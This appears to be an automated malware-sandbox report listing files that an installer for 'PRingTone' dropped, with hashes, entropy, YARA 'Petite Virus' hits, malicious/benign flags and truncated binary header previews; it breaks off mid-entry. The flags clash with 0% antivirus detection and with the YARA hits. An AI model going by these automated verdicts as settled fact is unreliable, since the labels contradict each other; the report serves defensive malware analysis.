C:\Program Files (x86)\PRingTone\bin\x86\is-656IU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	337408
Entropy (8bit):	6.515131904432587
Encrypted:	false
SSDEEP:	6144:3nzsyDn7PDS+FDflUjvJUkbEOyF1rOpsuCOuOff5k4F/lTRHA:3377SKfgvqkbFyFJCRRzH
MD5:	62D2156E3CA8387964F7AA13DD1CCD5B
SHA1:	A5067E046ED9EA5512C94D1D17C394D6CF89CCCA
SHA-256:	59CBFBA941D3AC0238219DAA11C93969489B40F1E8B38FABDB5805AC3DD72BFA
SHA-512:	006F7C46021F339B6CBF9F0B80CFFA74ABB8D48E12986266D069738C4E6BDB799BFBA4B8EE4565A01E90DBE679A96A2399D795A6EAD6EACBB4818A155858BF60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@..\|...\|...\|...p...\|...w...\|.d.r...\|...v...\|...x...\|.i.#...\|...}.\|.\|.d.!...\|...w...\|..V....\|...v...\|.......\|. .z...\|.Rich..\|.........PE..L....r.b.....................>......\........ ....@.......................................@.....................................x....0.......................@...3................................................... ..(............................text............................... ..`.rdata..r.... ......................@..@.data....'..........................@....sxdata...... ......................@....rsrc........0......................@..@.reloc...<...@...>..................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-69QGT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	967168
Entropy (8bit):	6.500850562754145
Encrypted:	false
SSDEEP:	12288:j2ezAN6FpYQSzclODziLQEkkDHFb1aWGssVvVmPUwV+SiRm7rhj:jhAgFptPlqmPDHJ1apVdYUy+jRmX
MD5:	C06D6F4DABD9E8BBDECFC5D61B43A8A9
SHA1:	16D9F4F035835AFE8F694AE5529F95E4C3C78526
SHA-256:	665D47597146DDAAA44B771787B750D3CD82C5B5C0B33CA38F093F298326C9BB
SHA-512:	B0EBE9E2682A603C34F2B884121FA5D2D87ED3891990CCD91CD14005B28FE208A3B86FA20E182F9E7FC5142A267C8225AEFDCB23CF5B7556D2CF8F9E3BDE62D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V.~..m...m...m......m.....m......m.......m..)3...m..)3...m..)3...m.......m...m..rm...m..m..3...m..3...m..3...m..Rich.m..........................PE..L...8..^...........!.........&.......`....................................................@..........................4.......G..<...............................HR..P+..T............................+..@...............D............................text............................... ..`.rdata..............................@..@.data........P...$...D..............@....trace.......`.......h..............@..@.gfids...............~..............@..@_RDATA..@...........................@..@.debug_o............................@..B.rsrc................l..............@..@.reloc..HR.......T...n..............@..B................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-6F22E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8456
Entropy (8bit):	6.767152008521429
Encrypted:	false
SSDEEP:	192:yxPHUtfhriUVoSoGtyo2xmJ8GbarAtT7/lxjFZnPK0cl:KPehriU3t2IiGbHTxZnPK0cl
MD5:	19E08B7F7B379A9D1F370E2B5CC622BD
SHA1:	3E2D2767459A92B557380C5796190DB15EC8A6EA
SHA-256:	AC97E5492A3CE1689A2B3C25D588FAC68DFF5C2B79FCF4067F2D781F092BA2A1
SHA-512:	564101A9428A053AA5B08E84586BCBB73874131154010A601FCE8A6FC8C4850C614B4B0A07ACF2A38FD2D4924D835584DB0A8B49EF369E2E450E458AC32CF256
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\PRingTone\bin\x86\is-6F22E.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L...#.MZ...........!.................p.......0............................................@.........................Pr.......q..d....P..8....................%.......................................................q..8....................................@..........................@..@.rsrc........P......................@..@.............`.........................@petite.......p......................`..`..................................................l..a.......1...3W..Z.....H...5.(...$.. .>X9..Fn... ..."j1..........%.7.d...".m...n.ePY......`....I.gYo..UC....Rq(...F......s..8`.I.....i..F.....'......@..-;.........J...Oq...b@...........$.D4E..($.....8':;.q....[-..{..w....@M....J$..0d..9Q.I^.^y.E..L_-.x!s.......W.H.R..@.6....MQ.Q8.s.."...!."IX.vM...!e.$%......U.....F.CoI..X.dA...0.Y..r.8.*p...<..M y...8..s....N5<.J....&..`...w..'..\s..%..A.`....s..j.H...X#..R.\..)R3@..X.P.5...G..t.f/..C.b.d...\|.

C:\Program Files (x86)\PRingTone\bin\x86\is-72EEK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	772608
Entropy (8bit):	6.546391052615969
Encrypted:	false
SSDEEP:	6144:Q75mFL0MNnM/SQdtij4UujFhGiNV1SckT3wio2L2jV6EfnQ29mwF3s4iGtInw1m8:AwN0e0lN1fnQUFccGns9ukS6
MD5:	B3B487FC3832B607A853211E8AC42CAD
SHA1:	06E32C28103D33DAD53BE06C894203F8808D38C1
SHA-256:	30BC10BD6E5B2DB1ACE93C2004E24C128D20C242063D4F0889FD3FB3E284A9E4
SHA-512:	FA6BDBA4F2A0CF4CCA40A333B69FD041D9EDC0736EDA206F17F10AF5505CC4688B0401A3CAD2D2F69392E752B8877DB593C7872BCDB133DC785A200FF38598BB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....1.d.................D..........$].......`....@.......................................@......@...................0..o............p...(...................`...............................P......................X........ .......................text...h4.......6.................. ..`.itext.......P.......:.............. ..`.data....7...`...8...H..............@....bss....0i...............................idata..............................@....didata...... ......................@....edata..o....0......................@..@.tls.........@...........................rdata..]....P......................@..@.reloc.......`......................@..B.rsrc....(...p...(..................@..@....................................@..@................

C:\Program Files (x86)\PRingTone\bin\x86\is-7BFJI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7910
Entropy (8bit):	6.931925007191986
Encrypted:	false
SSDEEP:	192:piDl1jKrGer007ia6abHX0d/aeHeN+VPHIJQxNiJCl9AK0f:IDJ9aDb30dCe+4PHIJrJCl9AK0f
MD5:	1268DEA570A7511FDC8E70C1149F6743
SHA1:	1D646FC69145EC6A4C0C9CAD80626AD40F22E8CD
SHA-256:	F266DBA7B23321BF963C8D8B1257A50E1467FAAAB9952EF7FFED1B6844616649
SHA-512:	E19F0EA39FF7AA11830AF5AAD53343288C742BE22299C815C84D24251FA2643B1E0401AF04E5F9B25CAB29601EA56783522DDB06C4195C6A609804880BAE9E9B
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\PRingTone\bin\x86\is-7BFJI.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L.....V...........!.................p.......0............................................@.........................Pr.......q..d....P.......................%.......................................................q..8....................................@..........................@..@.rsrc........P......................@..@.............`.........................@petite.......p......................`..`.........................................\|7{M..... ........r B`.Zr..P.........T}.e..YJ...=.X..q.}......b.I...G.....^.d...R..-R.....d_.......K.q.H.A=.-S..,_.....L...........2.............u.u.%...:.q....c.[.....`...\.X..8..B.@L..3.7.q.....)!.- ...D.....p...J...RU..Q.A..[.#&..R.....".+4...px/7..\....4...., ..8...5.hV.>] ....3.-.<..I+.<r..T..H,Q..!..i--..+.Zq.[...H... ...N.8..#...a.x.iU.G..-_..R....Z(cT%.....S.P.U:g?...;....&....@..KI.X.Q..PQ..v..*....{..~..}..f....c..`....Q...q..%......,j.4.Y..)....Cf7..

C:\Program Files (x86)\PRingTone\bin\x86\is-7HTFR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	562190
Entropy (8bit):	6.388293171196564
Encrypted:	false
SSDEEP:	12288:uCtwsqIfrUmUBrusLdVAjA1ATAtuQ8T2Q8TOksqHOuCHWoEuEc4XEmEVEEAcIHAj:uqiIoYmOuNNQ1zU/xGl
MD5:	713D04E7396D3A4EFF6BF8BA8B9CB2CD
SHA1:	D824F373C219B33988CFA3D4A53E7C2BFA096870
SHA-256:	00FB8E819FFDD2C246F0E6C8C3767A08E704812C6443C8D657DFB388AEB27CF9
SHA-512:	30311238EF1EE3B97DF92084323A54764D79DED62BFEB12757F4C14F709EB2DBDF6625C260FB47DA2D600E015750394AA914FC0CC40978BA494D860710F9DC40
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Rd...............(..........................@.......................................@... .................................H...........................................................D...........................l............................text...T...........................`..`.data...X...........................@....rdata..H...........................@..@/4......P...........................@..@.bss....t................................idata..H............d..............@....CRT....0............n..............@....tls.................p..............@....rsrc................r..............@....reloc...............x..............@..B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-8IR3C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18966
Entropy (8bit):	7.620111275837424
Encrypted:	false
SSDEEP:	384:gOKwxnw6OVDU839fgRgFMkucNauTT80CyTIz2bGjqXOK0Jo:gOHwBDUOe2McQkI0Cyo2Q/o
MD5:	F0F973781B6A66ADF354B04A36C5E944
SHA1:	8E8EE3A18D4CEC163AF8756E1644DF41C747EDC7
SHA-256:	04AB613C895B35044AF8A9A98A372A5769C80245CC9D6BF710A94C5BC42FA1B3
SHA-512:	118D5DACC2379913B725BD338F8445016F5A0D1987283B082D37C1D1C76200240E8C79660E980F05E13E4EB79BDA02256EAC52385DAA557C6E0C5D326D43A835
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\PRingTone\bin\x86\is-8IR3C.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L...9#.]...........!.........B...............p............................................@.....................................x.......@....................M..........................................................@............................................>..................@..@.rsrc................@..............@..@.......................................@petite...............D..............`..`....................................g5 ....S%,_ .]/.0$R.yB..."@...N.AGG.^.?...1.........&?....v....6.0.. ME..(..gh\jv#.l..#$.Z&...._\`.@.......D.;.C~..m}3..\>.h..@.;.f Tho...(xVs..m.c..F..SS.C...z[....z...... .X.&....HY,...o.d..jP.nr..@.)..W.1#...b..Q.*E8.B..N5.....].........7..A..2c.M.q.O0(.Gi..B.....CT.(..+....>@T j.#!..."..P.u.3..5.Q0K..p....ERvG..._'...ir%m...NT.v:.....g.....8.+....m....8..Z.=.B.......D_..ln...C.......p8...e."...U...+.f..E.=X.j.DeD.X_.Y..n.r.!xWu..\.VB.......`.F.A....dx...

C:\Program Files (x86)\PRingTone\bin\x86\is-9I96E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	867854
Entropy (8bit):	4.9264497464202694
Encrypted:	false
SSDEEP:	12288:p3y+OSQJZyHHiz8ElQxPpspcQrRclB7OIlJiIoP:xSXyniz1lQxPpspcQrRcLZJi/
MD5:	B476CA59D61F11B7C0707A5CF3FE6E89
SHA1:	1A1E7C291F963C12C9B46E8ED692104C51389E69
SHA-256:	AD65033C0D90C3A283C09C4DB6E2A29EF21BAE59C9A0926820D04EEBBF0BAF6D
SHA-512:	D5415AC7616F888DD22560951E90C8A77D5DD355748FDCC3114CAA16E75EB1D65C43696C6AECD2D9FAF8C2D32D5A3EF7A6B8CB6F2C4747C2A82132D29C9ECBFE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........>.........#.........:....................Xd................................l6........ ......................@..b....P..p..........................................................L.......................0Q...............................text...D...........................`.P`.data...x...........................@.P..rdata...%.......&..................@.`@/4.......K.......L..................@.0@.bss.........0........................`..edata..b....@......................@.0@.idata..p....P......................@.0..CRT....,....`......................@.0..tls.........p......................@.0..reloc..........,..................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-AS2CA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	26526
Entropy (8bit):	4.600837395607617
Encrypted:	false
SSDEEP:	384:Lc56OuAbnn0UReX6wFDVxnFw7xqsvzt+z/k8E9HinIhFkspcM9bc7ups0CZuQG:Lc5trLeDnFMz1ReScmc7GshZuQG
MD5:	BD7A443320AF8C812E4C18D1B79DF004
SHA1:	37D2F1D62FEC4DA0CAF06E5DA21AFC3521B597AA
SHA-256:	B634AB5640E258563C536E658CAD87080553DF6F34F62269A21D554844E58BFE
SHA-512:	21AEF7129B5B70E3F9255B1EA4DC994BF48B8A7F42CD90748D71465738D934891BBEC6C6FC6A1CCFAF7D3F35496677D62E2AF346D5E8266F6A51AE21A65C4460
Malicious:	false
Preview:	GNU LESSER GENERAL PUBLIC LICENSE. Version 2.1, February 1999.. Copyright (C) 1991, 1999 Free Software Foundation, Inc.. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Everyone is permitted to copy and distribute verbatim copies. of this license document, but changing it is not allowed...[This is the first released version of the Lesser GPL. It also counts. as the successor of the GNU Library Public License, version 2, hence. the version number 2.1.].. Preamble.. The licenses for most software are designed to take away your.freedom to share and change it. By contrast, the GNU General Public.Licenses are intended to guarantee your freedom to share and change.free software--to make sure the software is free for all its users... This license, the Lesser General Public License, applies to some.specially designated software packages--typically libraries--of the.Free Software Foundation and other authors who

C:\Program Files (x86)\PRingTone\bin\x86\is-B6G1A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	112640
Entropy (8bit):	6.540227486061059
Encrypted:	false
SSDEEP:	1536:45vq1zsdXYjZmGz9anu3MwjLA/eeiUKJP3Djl23HTKJ7WMU3lPyK+ZSrKxV/UJ9G:vzMMg/gMKeGsMIl6K+Zvry5zNY
MD5:	BDB65DCE335AC29ECCBC2CA7A7AD36B7
SHA1:	CE7678DCF7AF0DBF9649B660DB63DB87325E6F69
SHA-256:	7EC9EE07BFD67150D1BC26158000436B63CA8DBB2623095C049E06091FA374C3
SHA-512:	8AABCA6BE47A365ACD28DF8224F9B9B5E1654F67E825719286697FB9E1B75478DDDF31671E3921F06632EED5BB3DDA91D81E48D4550C2DCD8E2404D566F1BC29
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................f...N......0u............@.....................................................................2.......v...............................h...................................................................................CODE....Pe.......f.................. ..`DATA....D............j..............@...BSS......................................idata..v...........................@....edata..2...........................@..P.reloc..h...........................@..P.rsrc...............................@..P....................................@..P................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-C88M7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	294926
Entropy (8bit):	6.191604766067493
Encrypted:	false
SSDEEP:	3072:7E0FFjiAeF21pLQFgK33duKMnlCj3eWyNg2hlNvFXl8rzJjjOjVmdX566Uwqwqwm:wKFX3LygKjjN2HIfpruwqwqwFUgVE
MD5:	C76C9AE552E4CE69E3EB9EC380BC0A42
SHA1:	EFFEC2973C3D678441AF76CFAA55E781271BD1FB
SHA-256:	574595B5FD6223E4A004FA85CBB3588C18CC6B83BF3140D8F94C83D11DBCA7BD
SHA-512:	7FB385227E802A0C77749978831245235CD1343B95D97E610D20FB0454241C465387BCCB937A2EE8A2E0B461DD3D2834F7F542E7739D8E428E146F378A24EE97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.........\|.....................n.................................c........ ......................`..j7...........................................................................................................................text...8...........................`.P`.data...x...........................@.0..rdata...F.......H..................@.`@/4.......U.......V..................@.0@.bss.........P........................`..edata..j7...`...8...$..............@.0@.idata...............\..............@.0..CRT....,............b..............@.0..tls.................d..............@.0..reloc...............f..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-CJTE7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5960
Entropy (8bit):	5.956401374574174
Encrypted:	false
SSDEEP:	96:dj78cqhzbWKlECE7WbjDFf6IhaYYUOAoDf4+XCVhovG9AkM7Ui10:CjlEJ7WbjDFf6waYvdc4gYAkM10
MD5:	B3CC560AC7A5D1D266CB54E9A5A4767E
SHA1:	E169E924405C2114022674256AFC28FE493FBFDF
SHA-256:	EDDE733A8D2CA65C8B4865525290E55B703530C954F001E68D1B76B2A54EDCB5
SHA-512:	A836DECACB42CC3F7D42E2BF7A482AE066F5D1DF08CCCC466880391028059516847E1BF71E4C6A90D2D34016519D16981DDEEACFB94E166E4A9A720D9CC5D699
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L......I...........!.....4...T......6`....... ...............................p......................................lc.......a.......@..H....................................................................................................................0..........................`....rsrc........@..H...................@..@.............P......................@................`......................`.......................................X....E......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!...`..f.`P....h....j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I.e...h....P..0................0..............h.... ..0...........6...........k...........

C:\Program Files (x86)\PRingTone\bin\x86\is-CNQNP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68876
Entropy (8bit):	7.922125376804506
Encrypted:	false
SSDEEP:	1536:q0Z4sz1ZMjCjDIhoLffiedENahBzzxO/JfgmYFGKEvi8TxCI+vHVl:v4MzMjGkhoLfsahS/JYN2vUl
MD5:	4E35BA785CD3B37A3702E577510F39E3
SHA1:	A2FD74A68BEFF732E5F3CB0835713AEA8D639902
SHA-256:	0AFE688B6FCA94C69780F454BE65E12D616C6E6376E80C5B3835E3FA6DE3EB8A
SHA-512:	1B839AF5B4049A20D9B8A0779FE943A4238C8FBFBF306BC6D3A27AF45C76F6C56B57B2EC8F087F7034D89B5B139E53A626A8D7316BE1374EAC28B06D23E7995D
Malicious:	false
Yara Hits:	Rule: JoeSecurity_PetiteVirus, Description: Yara detected Petite Virus, Source: C:\Program Files (x86)\PRingTone\bin\x86\is-CNQNP.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L.....U]...........!......................... ............................................@.........................P...........d.......@...............................................................................8...............................................................@..@.rsrc...............................@..@.......................................@petite..............................`..`...........................................&MK#H..OEJ..}??...:..$ayf.r7.w(/.d`...A(7.%p.f.>\..d."..W......[4.0..ZY..... .....~...T....9a+..'.......g!.....l...<..?Y.(..[k.I=....D.....c..=.?.8...D>0...#.ZdO..Z...%......X.P..bS..s..=$...m.N........A......A4..J>Wa.N..K.>....2n8.ii.#....y#.J ....i!...a7..Pbl@B.%h0..8RSr.........]..z.\...x..e..5.3.$h. <G.3....-......Q....O0..,......Y}......@...<...t.H).T..! .....ap......Tj.o...0b...`..yX.. g...hzA...b.7.s$M.... ..'....\$...H.\.l.C g..4..(.6@.Q....B(..

C:\Program Files (x86)\PRingTone\bin\x86\is-E9JM7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	16910
Entropy (8bit):	5.289608933932413
Encrypted:	false
SSDEEP:	384:ohtyjknGC7hipL+9mLYFOozxkdlDNUwS5Qq:UGknGC74l+MUFI7C
MD5:	2F040608E68E679DD42B7D8D3FCA563E
SHA1:	4B2C3A6B8902E32CDA33A241B24A79BE380C55FC
SHA-256:	6B980CADC3E7047CC51AD1234CB7E76FF520149A746CB64E5631AF1EA1939962
SHA-512:	718AF5BE259973732179ABA45B672637FCA21AE575B4115A62139A751C04F267F355B8F7F7432B56719D91390DABA774B39283CBCFE18F09CA033389FB31A4FC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........B.........#.........>...f...........0.....h......................... ................ .........................{.......\|...............................$...........................pA.......................................................text...4...........................`.P`.data...<....0......."..............@.0..rdata.......@.......$..............@.`@/4...........P.......(..............@.0@.bss.....d...`........................`..edata..{............2..............@.0@.idata..\|............4..............@.0..CRT....,............:..............@.0..tls.................<..............@.0..reloc..$............>..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-ELMCE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.1208137218866945
Encrypted:	false
SSDEEP:	24:LLDrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:LLDaJHlxE35QHOs5exm3ogF5n
MD5:	B7EDCC6CB01ACE25EBD2555CF15473DC
SHA1:	2627FF03833F74ED51A7F43C55D30B249B6A0707
SHA-256:	D6B4754BB67BDD08B97D5D11B2D7434997A371585A78FE77007149DF3AF8D09C
SHA-512:	962BD5C9FB510D57FAC0C3B189B7ADEB29E00BED60F0BB9D7E899601C06C2263EDA976E64C352E4B7C0AAEFB70D2FCB0ABEF45E43882089477881A303EB88C09
Malicious:	false
Preview:	Copyright (c) 2011 Jan Kokem.ller..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTION WITH

C:\Program Files (x86)\PRingTone\bin\x86\is-F9EQ0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	5.192037544202194
Encrypted:	false
SSDEEP:	384:lhgkOI7BGi9gKV6uq+u6JewsNhNXUwSCgQ:DT7BGVKPKbXF
MD5:	BEFD36FE8383549246E1FD49DB270C07
SHA1:	1EF12B568599F31292879A8581F6CD0279F3E92A
SHA-256:	B5942E8096C95118C425B30CEC8838904897CDEF78297C7BBB96D7E2D45EE288
SHA-512:	FD9AA6A4134858A715BE846841827196382D0D86F2B1AA5C7A249B770408815B0FE30C4D1E634E8D6D3C8FEDBCE4654CD5DC240F91D54FC8A7EFE7CAE2E569F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0.....f................................b......... ......................p..E.......h...........................................................P@......................................................text...............................`.P`.data...,....0....... ..............@.0..rdata.......@......."..............@.0@/4...........P.......$..............@.0@.bss.........`........................`..edata..E....p......................@.0@.idata..h............0..............@.0..CRT....,............6..............@.0..tls.................8..............@.0..reloc...............:..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-FM16A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	39304
Entropy (8bit):	7.819409739152795
Encrypted:	false
SSDEEP:	768:i5GGx+OZPWuGdoiwUpPLH7IN3x1eW0kIAJbfT13MMnahRlmftuohQf:i5DxDPWMApPLsNhkVkI6R3TnalauoQ
MD5:	C7A50ACE28DDE05B897E000FA398BBCE
SHA1:	33DA507B06614F890D8C8239E71D3D1372E61DAA
SHA-256:	F02979610F9BE2F267AA3260BB3DF0F79EEEB6F491A77EBBE719A44814602BCC
SHA-512:	4CD7F851C7778C99AFED492A040597356F1596BD81548C803C45565975CA6F075D61BC497FCE68C6B4FEDC1D0B5FD0D84FEAA187DC5E149F4E8E44492D999358
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."b...........!.........x.......P.......................................`.......Z....@.........................PR.......Q..d....0..0............}......D........................................................Q..8.................................... .......t..................@..@.rsrc.... ...0.......v..............@..@petite.......P.......z..............`..`......................p..k..K..i{..\.H..'.\|w.t...\..dkB%..i.cX...`B...m.X..A.NU.i.I. J.I....x-.e2n.IA.2.:..2G5Z/.+(8w.S<...`ML........!..%+.r.s.1.~.D...]......U..q3.....9..?y.>j.E.T...Y..D..>..aJ......P^Y..w?.9w.,...+C^.[....\|..'.....7..F%..A.....)..b.)8.2Q`.v.F=.."S..{z...z-H=....L_....RM..s......H2P1a....[..i. 2..~.?...+R... .m(.I..X...H.g.Z..i..G.?.(......e.:.B......fh......gl.x.Z......I>..#....Hgv.;g.@ l.$(...0.........l.>.p..z;A.@...*4v..x.U.gU..Bqqb..6.x...D.....cIE(5m.g}J..

C:\Program Files (x86)\PRingTone\bin\x86\is-FU8V9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	43520
Entropy (8bit):	6.232860260916194
Encrypted:	false
SSDEEP:	768:XozEJVjDF38DrOPwLg0cAY7K+k+Y+TyHMjMbHVJx9jm3LkkteFfXbBekdAnPKx:Xo4JJDirOoLg0C7F/rDGdpB52PK
MD5:	B162992412E08888456AE13BA8BD3D90
SHA1:	095FA02EB14FD4BD6EA06F112FDAFE97522F9888
SHA-256:	2581A6BCA6F4B307658B24A7584A6B300C91E32F2FE06EB1DCA00ADCE60FA723
SHA-512:	078594DE66F7E065DCB48DA7C13A6A15F8516800D5CEE14BA267F43DC73BC38779A4A4ED9444AFDFA581523392CBE06B0241AA8EC0148E6BCEA8E23B78486824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....z.......D................,n.........................p.......`........ ...................... .......0...............................`..............................t........................0...............................text....x.......z..................`.P`.data...,............~..............@.0..rdata..............................@.P@.eh_fram\|...........................@.0@.bss.....B............................`..edata....... ......................@.0@.idata.......0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..reloc.......`......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\PRingTone\bin\x86\is-H0BA3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	68042
Entropy (8bit):	6.090396152400884
Encrypted:	false
SSDEEP:	768:RX3HAdi7wgCsL6dVSngk2IFm3ZJVRDBLRROBBKRzPm3YRiF+ixh:NHQpe6SnZQLjICPm3Ytib
MD5:	5DDA5D34AC6AA5691031FD4241538C82
SHA1:	22788C2EBE5D50FF36345EA0CB16035FABAB8A6C
